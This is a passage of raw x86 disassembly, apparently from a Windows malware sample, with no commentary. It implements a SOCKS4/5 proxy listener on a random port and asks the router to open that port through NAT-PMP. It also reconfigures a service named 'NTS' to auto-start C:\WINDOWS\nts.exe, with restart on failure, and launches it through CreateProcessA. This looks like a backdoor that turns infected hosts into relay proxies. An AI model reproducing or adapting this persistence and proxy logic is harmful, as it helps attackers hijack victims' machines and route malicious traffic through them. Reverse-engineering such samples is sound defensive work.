		call	sub_401787
		add	esp, 0Ch
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40417F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041B9	proc near		; CODE XREF: sub_4041FB+47p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		lea	ebx, [ebp+var_20]
		mov	byte ptr [ebx],	5
		inc	ebx
		movzx	eax, [ebp+arg_4]
		mov	[ebx], al
		inc	ebx
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	byte ptr [ebx],	1
		inc	ebx
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		add	ebx, 4
		mov	ax, [ebp+arg_C]
		mov	[ebx], ax
		push	0Ah
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_401787
		add	esp, 0Ch
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4041B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041FB	proc near		; CODE XREF: sub_4042CD+1F8p
					; sub_4042CD+3B4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	bl, [ebp+arg_8]
		cmp	bl, 9
		jbe	short loc_40420B
		xor	bl, bl
		inc	bl


loc_40420B:				; CODE XREF: sub_4041FB+Aj
		cmp	[ebp+arg_0], 4
		jnz	short loc_404233
		movzx	eax, bl
		mov	bl, byte_411034[eax]
		movzx	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		movzx	eax, bl
		push	eax
		push	[ebp+arg_4]
		call	sub_40417F
		add	esp, 10h
		jmp	short loc_40424A
; ---------------------------------------------------------------------------


loc_404233:				; CODE XREF: sub_4041FB+14j
		movzx	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		movzx	eax, bl
		push	eax
		push	[ebp+arg_4]
		call	sub_4041B9
		add	esp, 10h


loc_40424A:				; CODE XREF: sub_4041FB+36j
		pop	ebx
		pop	ebp
		retn
sub_4041FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40424D	proc near		; CODE XREF: sub_4042CD+182p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	ebx, [ebp+arg_0]


loc_404255:				; CODE XREF: sub_40424D+23j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	ebx
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_40426C
		xor	eax, eax
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_40426C:				; CODE XREF: sub_40424D+19j
		cmp	[ebp+var_1], 0
		jnz	short loc_404255
		xor	eax, eax
		inc	eax


loc_404275:				; CODE XREF: sub_40424D+1Dj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40424D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40427A	proc near		; CODE XREF: sub_4042CD+1B9p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		xor	edi, edi
		mov	byte ptr [ebx],	0


loc_40428C:				; CODE XREF: sub_40427A+47j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_0]
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_4042A5
		xor	eax, eax
		jmp	short loc_4042C6
; ---------------------------------------------------------------------------


loc_4042A5:				; CODE XREF: sub_40427A+25j
		mov	eax, edi
		inc	edi
		mov	dl, [ebp+var_1]
		mov	[ebx+eax], dl
		mov	byte ptr [ebx+edi], 0
		lea	eax, [esi-1]
		cmp	edi, eax
		jl	short loc_4042BD
		xor	eax, eax
		jmp	short loc_4042C6
; ---------------------------------------------------------------------------


loc_4042BD:				; CODE XREF: sub_40427A+3Dj
		cmp	[ebp+var_1], 0
		jnz	short loc_40428C
		xor	eax, eax
		inc	eax


loc_4042C6:				; CODE XREF: sub_40427A+29j
					; sub_40427A+41j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40427A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042CD	proc near		; DATA XREF: sub_404967+214o
					; DMN1:00445AFCo

var_430		= dword	ptr -430h
var_42B		= byte ptr -42Bh
var_42A		= byte ptr -42Ah
var_429		= byte ptr -429h
var_428		= dword	ptr -428h
var_421		= byte ptr -421h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_411		= byte ptr -411h
var_410		= dword	ptr -410h
var_40A		= word ptr -40Ah
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 430h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_41C], eax
		mov	edi, [eax+8]
		mov	eax, [ebp+var_41C]
		mov	edx, [eax]
		mov	[ebp+var_410], edx
		mov	dx, [eax+4]
		mov	[ebp+var_40A], dx
		push	eax
		call	sub_401076
		pop	ecx
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_410]
		mov	[ebp+var_420], eax
		push	eax
		call	sub_406D20	; inet_ntoa
		mov	[ebp+var_418], eax
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_418]
		push	offset aConnectionFrom ; "connection from [%s]\n"
		call	sub_407260
		add	esp, 0Ch
		mov	[ebp+var_411], 0
		mov	[ebp+var_421], 0
		push	1
		lea	eax, [ebp+var_411]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		push	offset dword_41285C
		call	dword_411CCC	; RtlEnterCriticalSection
		push	0
		push	[ebp+var_410]
		push	dword_412934
		call	sub_401FE3
		add	esp, 0Ch
		mov	[ebp+var_428], eax
		push	offset dword_41285C
		call	dword_411CD0	; RtlLeaveCriticalSection
		cmp	[ebp+var_428], 0
		jnz	short loc_4043B6
		push	[ebp+var_418]
		push	offset aConnectionReje ; "connection rejected (from [%s])\n"
		call	nullsub_1
		pop	ecx
		pop	ecx
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_4043B6:				; CODE XREF: sub_4042CD+D0j
		mov	[ebp+var_40A], 0
		and	[ebp+var_410], 0
		mov	al, [ebp+var_411]
		cmp	al, 4
		jz	short loc_4043D8
		cmp	al, 5
		jnz	loc_40493A


loc_4043D8:				; CODE XREF: sub_4042CD+101j
		push	[ebp+var_418]
		movsx	eax, [ebp+var_411]
		push	eax
		push	offset aSocksVIS ; "socks v%i  [%s]\n"
		call	nullsub_1
		add	esp, 0Ch
		cmp	[ebp+var_411], 4
		jnz	loc_4044D2
		push	1
		lea	eax, [ebp+var_421]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		push	2
		lea	eax, [ebp+var_40A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		push	4
		lea	eax, [ebp+var_410]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		push	edi
		call	sub_40424D
		pop	ecx
		test	eax, eax
		jz	loc_40493A
		mov	eax, [ebp+var_410]
		test	eax, 0FFFFFFh
		jnz	loc_4046BE
		test	eax, 0FF000000h
		jz	loc_4046BE
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_40427A
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40493A
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_4017BE
		pop	ecx
		mov	[ebp+var_410], eax
		test	eax, eax
		jz	short loc_4044BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4044BC
		test	eax, eax
		jnz	loc_4046BE


loc_4044BC:				; CODE XREF: sub_4042CD+1DEj
					; sub_4042CD+1E5j
		push	0
		push	0
		push	4
		push	edi
		push	4
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_4044D2:				; CODE XREF: sub_4042CD+12Dj
		cmp	[ebp+var_411], 5
		jnz	loc_40493A
		mov	[ebp+var_429], 0
		push	1
		lea	eax, [ebp+var_429]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_404522
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_404501:				; CODE XREF: sub_4042CD+25Cj
		push	1
		lea	eax, [ebp+var_42A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		sub	[ebp+var_429], 1


loc_404522:				; CODE XREF: sub_4042CD+22Dj
		cmp	[ebp+var_429], 0
		jnz	short loc_404501
		mov	[ebp+var_430], 5
		push	2
		lea	eax, [ebp+var_430]
		push	eax
		push	edi
		call	sub_401787
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		push	1
		lea	eax, [ebp+var_42A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		cmp	[ebp+var_42A], 5
		jnz	loc_40493A
		push	1
		lea	eax, [ebp+var_421]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		push	1
		lea	eax, [ebp+var_42A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		mov	[ebp+var_42B], 0
		push	1
		lea	eax, [ebp+var_42B]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		cmp	[ebp+var_42B], 1
		jnz	short loc_4045F3
		push	4
		lea	eax, [ebp+var_410]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jg	loc_4046A4
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_4045F3:				; CODE XREF: sub_4042CD+305j
		cmp	[ebp+var_42B], 3
		jnz	loc_40468E
		push	1
		lea	eax, [ebp+var_429]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		cmp	[ebp+var_429], 0
		jz	loc_40493A
		movsx	eax, [ebp+var_429]
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		movsx	eax, [ebp+var_429]
		mov	[ebp+eax+var_408], 0
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_4017BE
		pop	ecx
		mov	[ebp+var_410], eax
		test	eax, eax
		jz	short loc_404678
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404678
		test	eax, eax
		jnz	short loc_4046A4


loc_404678:				; CODE XREF: sub_4042CD+39Ej
					; sub_4042CD+3A5j
		push	0
		push	0
		push	4
		push	edi
		push	5
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_40468E:				; CODE XREF: sub_4042CD+32Dj
		push	0
		push	0
		push	8
		push	edi
		push	5
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_4046A4:				; CODE XREF: sub_4042CD+31Bj
					; sub_4042CD+3A9j
		push	2
		lea	eax, [ebp+var_40A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A


loc_4046BE:				; CODE XREF: sub_4042CD+19Bj
					; sub_4042CD+1A6j ...
		movzx	eax, [ebp+var_40A]
		push	eax
		call	sub_406CD8	; htons
		mov	[ebp+var_40A], ax
		test	ax, ax
		jnz	short loc_4046F3
		push	0
		push	0
		push	2
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_4046F3:				; CODE XREF: sub_4042CD+408j
		cmp	[ebp+var_421], 1
		jz	short loc_404722
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_410]
		push	7
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_404722:				; CODE XREF: sub_4042CD+42Dj
		call	sub_401359
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_40474A
		push	0
		push	0
		push	1
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_40474A:				; CODE XREF: sub_4042CD+45Fj
		mov	eax, [ebp+var_410]
		mov	[ebp+var_420], eax
		push	eax
		call	sub_406D20	; inet_ntoa
		mov	[ebp+var_418], eax
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_418]
		push	offset aConnectingToSI ; "connecting to	%s:%i\n"
		call	nullsub_1
		add	esp, 0Ch
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_410]
		push	[ebp+var_4]
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4047E1
		call	sub_406D32	; WSAGetLastError
		push	eax
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_418]
		push	offset aConnectionToSI ; "connection to	%s:%i failed! %-( (%i)\n"
		call	nullsub_1
		add	esp, 10h
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_410]
		push	4
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_4042CD+4CBj
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_418]
		push	offset aConnectedToSI ;	"connected to %s:%i\n"
		call	nullsub_1
		add	esp, 0Ch
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_410]
		push	0
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_4041FB
		add	esp, 14h
		test	eax, eax
		jz	loc_40493A
		push	offset aTransferringDa ; "transferring data...\n"
		call	nullsub_1
		pop	ecx
		xor	esi, esi


loc_404832:				; CODE XREF: sub_4042CD+64Cj
					; sub_4042CD+65Dj
		inc	esi
		push	edi
		call	sub_4014CF
		pop	ecx
		test	eax, eax
		jl	loc_40492F
		push	edi
		call	sub_401542
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_40492F
		cmp	esi, 1Eh
		jle	short loc_40485F
		test	ebx, ebx
		jnz	short loc_40485F
		xor	ebx, ebx
		inc	ebx


loc_40485F:				; CODE XREF: sub_4042CD+589j
					; sub_4042CD+58Dj
		test	ebx, ebx
		jle	short loc_4048AB
		cmp	ebx, 400h
		jle	short loc_404870
		mov	ebx, 400h


loc_404870:				; CODE XREF: sub_4042CD+59Cj
		push	ebx
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		test	eax, eax
		jle	loc_40492F
		push	[ebp+var_8]
		lea	eax, [ebp+var_408]
		push	eax
		push	[ebp+var_4]
		call	sub_401787
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		xor	esi, esi


loc_4048AB:				; CODE XREF: sub_4042CD+594j
		push	[ebp+var_4]
		call	sub_4014CF
		pop	ecx
		test	eax, eax
		jl	short loc_40492F
		push	[ebp+var_4]
		call	sub_401542
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_40492F
		cmp	esi, 1Eh
		jle	short loc_4048D3
		test	ebx, ebx
		jnz	short loc_4048D3
		xor	ebx, ebx
		inc	ebx


loc_4048D3:				; CODE XREF: sub_4042CD+5FDj
					; sub_4042CD+601j
		test	ebx, ebx
		jle	short loc_404917
		cmp	ebx, 400h
		jle	short loc_4048E4
		mov	ebx, 400h


loc_4048E4:				; CODE XREF: sub_4042CD+610j
		push	ebx
		lea	eax, [ebp+var_408]
		push	eax
		push	[ebp+var_4]
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		test	eax, eax
		jle	short loc_40492F
		push	[ebp+var_8]
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_401787
		add	esp, 0Ch
		test	eax, eax
		jle	short loc_40493A
		xor	esi, esi


loc_404917:				; CODE XREF: sub_4042CD+608j
		test	esi, esi
		jz	loc_404832
		push	12Ch
		call	dword_411D00	; Sleep
		jmp	loc_404832
; ---------------------------------------------------------------------------


loc_40492F:				; CODE XREF: sub_4042CD+56Fj
					; sub_4042CD+580j ...
		push	offset aDataExchangeCo ; "data exchange	complete\n"
		call	nullsub_1
		pop	ecx


loc_40493A:				; CODE XREF: sub_4042CD+91j
					; sub_4042CD+E4j ...
		push	offset aConnectionClos ; "connection closed.\n"
		call	nullsub_1
		pop	ecx
		push	edi
		call	sub_4014C2
		pop	ecx
		cmp	[ebp+var_4], 0
		jz	short loc_40495B
		push	[ebp+var_4]
		call	sub_4014C2
		pop	ecx


loc_40495B:				; CODE XREF: sub_4042CD+683j
		call	sub_4079A0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4042CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404967	proc near		; DATA XREF: sub_406677+62o
					; DMN1:0044765Ao

var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0
		and	dword_41100C, 0
		push	offset aListener___ ; "listener...\n"
		call	nullsub_1
		pop	ecx
		lea	eax, [ebp+var_A]
		push	eax
		call	sub_4024A6
		pop	ecx
		mov	bx, ax
		test	bx, bx
		jz	short loc_4049BB
		cmp	bx, 0FFFFh
		jz	short loc_4049BB
		movzx	eax, bx
		cmp	dword_411010, eax
		jz	short loc_4049BB
		movzx	eax, bx
		mov	dword_411010, eax
		movzx	eax, [ebp+var_A]
		mov	dword_41100C, eax


loc_4049BB:				; CODE XREF: sub_404967+2Fj
					; sub_404967+36j ...
		call	sub_401359
		mov	dword_411030, eax


loc_4049C5:				; CODE XREF: sub_404967+D7j
		cmp	dword_41100C, 0
		jnz	short loc_4049FE


loc_4049CE:				; CODE XREF: sub_404967+8Ej
					; sub_404967+95j
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_401001
		pop	ecx
		mov	ecx, 0C350h
		cdq
		idiv	ecx
		lea	eax, [edx+2710h]
		mov	dword_41100C, eax
		mov	eax, dword_41100C
		cmp	eax, 24A2h
		jz	short loc_4049CE
		cmp	eax, 15B7h
		jz	short loc_4049CE


loc_4049FE:				; CODE XREF: sub_404967+65j
		movzx	eax, word ptr dword_41100C
		push	eax
		push	0
		push	dword_411030
		call	sub_4015B7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404A40
		and	dword_41100C, 0
		and	dword_411010, 0
		push	dword_411030
		call	sub_4014C2
		pop	ecx
		call	sub_401359
		mov	dword_411030, eax
		jmp	short loc_4049C5
; ---------------------------------------------------------------------------


loc_404A40:				; CODE XREF: sub_404967+B1j
		push	dword_41100C
		push	offset aSocksPortI ; "SOCKS port: %i\n"
		call	sub_407260
		pop	ecx
		pop	ecx
		mov	eax, dword_41100C
		mov	dword_411010, eax
		call	sub_403113
		mov	[ebp+var_8], eax
		movzx	eax, word ptr dword_411010
		push	eax
		movzx	eax, word ptr dword_41100C
		push	eax
		push	[ebp+var_8]
		call	sub_403322
		add	esp, 0Ch
		movzx	eax, ax
		mov	dword_411010, eax
		cmp	dword_411010, 0
		jnz	short loc_404A9C
		mov	eax, dword_41100C
		mov	dword_411010, eax
		jmp	short loc_404AAE
; ---------------------------------------------------------------------------


loc_404A9C:				; CODE XREF: sub_404967+127j
		push	dword_411010
		push	offset aNatpmpForwarde ; "NATPMP: forwarded to:	%i\n"
		call	sub_407260
		pop	ecx
		pop	ecx


loc_404AAE:				; CODE XREF: sub_404967+133j
		movzx	eax, word ptr dword_41100C
		push	eax
		push	eax
		call	sub_402B02
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404AC7
		mov	eax, dword_41100C


loc_404AC7:				; CODE XREF: sub_404967+159j
		push	1
		push	offset dword_411024
		call	dword_411D04	; InterlockedExchange
		push	1
		push	offset dword_41102C
		call	dword_411D04	; InterlockedExchange
		push	offset aStartingCommTh ; "starting COMM	thread...\n"
		call	nullsub_1
		pop	ecx
		push	0
		push	0
		push	offset sub_40400E
		call	sub_407910
		add	esp, 0Ch
		push	eax
		call	dword_411CF8	; CloseHandle
		push	0C8h
		call	dword_411D00	; Sleep
		push	0
		push	0
		push	offset sub_403FEA
		call	sub_407910
		add	esp, 0Ch
		push	eax
		call	dword_411CF8	; CloseHandle
		push	0C8h
		call	dword_411D00	; Sleep


loc_404B32:				; CODE XREF: sub_404967+1F5j
					; sub_404967+228j
		push	dword_411030
		call	sub_401607
		pop	ecx
		test	eax, eax
		jz	short loc_404B91
		lea	eax, [ebp+var_12]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	dword_411030
		call	sub_40166C
		add	esp, 0Ch
		mov	edi, eax
		test	edi, edi
		jz	short loc_404B32
		push	0Ch
		call	sub_401048
		pop	ecx
		mov	esi, eax
		mov	eax, [ebp+var_10]
		mov	[esi], eax
		mov	ax, [ebp+var_12]
		mov	[esi+4], ax
		mov	[esi+8], edi
		push	esi
		push	0
		push	offset sub_4042CD
		call	sub_407910
		add	esp, 0Ch
		push	eax
		call	dword_411CF8	; CloseHandle
		jmp	short loc_404B32
; ---------------------------------------------------------------------------


loc_404B91:				; CODE XREF: sub_404967+1D9j
		push	0
		push	offset dword_41102C
		call	dword_411D04	; InterlockedExchange
		push	dword_411030
		call	sub_4014C2
		pop	ecx
		and	dword_411030, 0
		call	sub_4079A0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404967	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		mov	ebx, [ebp+10h]
		push	44h
		push	0
		lea	eax, [ebp-44h]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		mov	dword ptr [ebp-44h], 44h
		test	ebx, ebx
		jz	short loc_404BFA
		push	offset asc_40EDC7 ; "\""
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407670
		pop	ecx
		pop	ecx
		jmp	short loc_404C01
; ---------------------------------------------------------------------------


loc_404BFA:				; CODE XREF: DMN0:00404BE3j
		mov	byte ptr [ebp-844h], 0


loc_404C01:				; CODE XREF: DMN0:00404BF8j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_404C1A
		push	dword ptr [ebp+8]
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		jmp	short loc_404C2D
; ---------------------------------------------------------------------------


loc_404C1A:				; CODE XREF: DMN0:00404C05j
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx


loc_404C2D:				; CODE XREF: DMN0:00404C18j
		test	ebx, ebx
		jz	short loc_404C44
		push	offset asc_40EDC7 ; "\""
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx


loc_404C44:				; CODE XREF: DMN0:00404C2Fj
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_404C6E
		push	offset asc_40EDB2 ; " "
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx


loc_404C6E:				; CODE XREF: DMN0:00404C48j
		lea	eax, [ebp-854h]
		push	eax
		lea	eax, [ebp-44h]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp-844h]
		push	eax
		push	0
		call	dword_411D10	; CreateProcessA
		test	eax, eax
		jz	short loc_404CB3
		push	dword ptr [ebp-850h]
		call	dword_411CF8	; CloseHandle
		push	dword ptr [ebp-854h]
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		inc	eax


loc_404CB3:				; CODE XREF: DMN0:00404C96j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_404CB8	proc near		; CODE XREF: sub_405BE3+21p
					; sub_4066F1:loc_406A2Dp ...
		push	ebx
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E44	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_404CFF
		push	4
		push	offset aNts	; "NTS"
		push	ebx
		call	dword_411E48	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_404CEE
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		xor	eax, eax
		jmp	short loc_404CFF
; ---------------------------------------------------------------------------


loc_404CEE:				; CODE XREF: sub_404CB8+29j
		push	esi
		call	dword_411E4C	; CloseServiceHandle
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		xor	eax, eax
		inc	eax


loc_404CFF:				; CODE XREF: sub_404CB8+15j
					; sub_404CB8+34j
		pop	esi
		pop	ebx
		retn
sub_404CB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D02	proc near		; CODE XREF: sub_4066F1+3C4p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E44	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_404D6C
		push	94h
		push	offset aNts	; "NTS"
		push	ebx
		call	dword_411E48	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_404D42
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		xor	eax, eax
		jmp	short loc_404D6C
; ---------------------------------------------------------------------------


loc_404D42:				; CODE XREF: sub_404D02+33j
		xor	edi, edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_411E50	; QueryServiceStatus
		test	eax, eax
		jz	short loc_404D5C
		cmp	[ebp+var_18], 4
		jnz	short loc_404D5C
		xor	edi, edi
		inc	edi


loc_404D5C:				; CODE XREF: sub_404D02+4Fj
					; sub_404D02+55j
		push	esi
		call	dword_411E4C	; CloseServiceHandle
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		mov	eax, edi


loc_404D6C:				; CODE XREF: sub_404D02+1Cj
					; sub_404D02+3Ej
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404D02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D73	proc near		; CODE XREF: sub_404E08+32p
					; sub_404E56+39p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	0
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	dword_411E54	; ChangeServiceConfigA
		test	eax, eax
		jnz	short loc_404DB5
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_404DB1
		or	eax, 0FFFFFFFFh
		jmp	short loc_404E03
; ---------------------------------------------------------------------------


loc_404DB1:				; CODE XREF: sub_404D73+37j
		xor	eax, eax
		jmp	short loc_404E03
; ---------------------------------------------------------------------------


loc_404DB5:				; CODE XREF: sub_404D73+2Aj
		mov	[ebp+var_1C], 1
		and	[ebp+var_18], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	ebx
		call	dword_411E58	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_404E00
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_404DFC
		or	eax, 0FFFFFFFFh
		jmp	short loc_404E03
; ---------------------------------------------------------------------------


loc_404DFC:				; CODE XREF: sub_404D73+82j
		xor	eax, eax
		jmp	short loc_404E03
; ---------------------------------------------------------------------------


loc_404E00:				; CODE XREF: sub_404D73+75j
		xor	eax, eax
		inc	eax


loc_404E03:				; CODE XREF: sub_404D73+3Cj
					; sub_404D73+40j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404D73	endp


; =============== S U B	R O U T	I N E =======================================



